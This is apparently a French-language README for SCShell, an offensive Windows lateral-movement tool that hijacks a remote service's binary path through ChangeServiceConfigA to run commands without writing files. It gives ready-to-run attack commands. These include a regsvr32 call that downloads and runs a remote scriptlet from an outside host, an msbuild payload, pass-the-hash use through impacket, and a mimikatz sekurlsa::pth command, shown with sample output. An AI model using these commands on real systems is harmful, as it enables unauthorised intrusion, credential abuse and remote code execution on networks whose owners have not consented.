
Outil de mouvement latéral sans fichier qui utilise ChangeServiceConfigA pour exécuter une commande
SCShell est un outil de mouvement latéral sans fichier qui repose sur ChangeServiceConfigA pour exécuter des commandes. La beauté de cet outil est qu'il n'effectue pas d'authentification via SMB. Tout est effectué via DCERPC.
Cet utilitaire peut être utilisé à distance SANS enregistrer un service ou créer un service. Il n'a pas non plus besoin de déposer de fichier sur le système distant* (Cela dépend de la technique utilisée pour exécuter)
Au lieu de créer un service, il ouvre simplement un service à distance et modifie le chemin du binaire via l'API ChangeServiceConfigA.
Ensuite, il démarre le service.
Une fois l'exécution terminée, le chemin binaire du service est rétabli à son état d'origine. Le chemin d'origine du service est extrait à l'aide de QueryServiceConfigA.
Tout se passe via DCERPC, y compris l'authentification.

La version actuelle est écrite en C mais je la porterai vers C# et PowerShell.
Usage:
SCShell.exe target service payload domain username password
target peut être défini sur local pour exécuter la charge utile localement.
Exécution à distance
SCShell.exe 192.168.197.131 XblAuthManager "C:\windows\system32\cmd.exe /c C:\windows\system32\regsvr32.exe /s /n /u /i://your.website/payload.sct scrobj.dll" . administrastor Password
Je recommande d'utiliser C:\windows\system32\cmd.exe /c pour garantir que la charge utile ne soit pas tuée une fois le service arrêté. Vous DEVEZ utiliser le chemin complet.
Vous pouvez également utiliser une charge utile msbuild
SCShell.exe 192.168.197.131 XblAuthManager "C:\windows\system32\cmd.exe /C C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe C:\payload.csproj" . administrator Password
SCShell ***
Trying to connect to 192.168.197.131
Username was provided attempting to call LogonUserA
SC_HANDLE Manager 0x009ED250
Opening XblAuthManager
SC_HANDLE Service 0x009ED1B0
Service path was changed to C:\windows\system32\cmd.exe /C C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe C:\payload.csproj
Service was started.
J'utilise XblAuthManager comme cible, qui est le service de gestion des accessoires Xbox.
scshell.py est une implémentation Python 2 et 3 de SCShell. En utilisant le projet impacket, il peut facilement être utilisé pour effectuer le même mouvement latéral en utilisant le passage de hash.
Installation
pip install impacket
Utilisation
python scshell.py DOMAIN/USER@target -hashes 00000000000000000000000000000000:ad9827fcd039eadde017568170abdecce
Impacket v0.9.20 - Copyright 2019 SecureAuth Corporation
[*] Command need to use FULL path. No command output.
SCShell>
Vous pouvez utiliser l'utilitaire C pour passer le hash. Par défaut, le jeton du processus actuel sera utilisé. Vous pouvez définir le jeton du processus actuel en utilisant l'approche standard de passage de hash.
Sur le système local
sekurlsa::pth /user:user /domain:domain /ntlm:hash /run:cmd.exe
Exécutez ensuite SCShell.exe dans le cmd.exe nouvellement créé.
Le code a été compilé sous Windows avec le compilateur GCC Mingw.
Mr.Un1k0d3r RingZer0 Team
Tazz0 pour le soutien moral.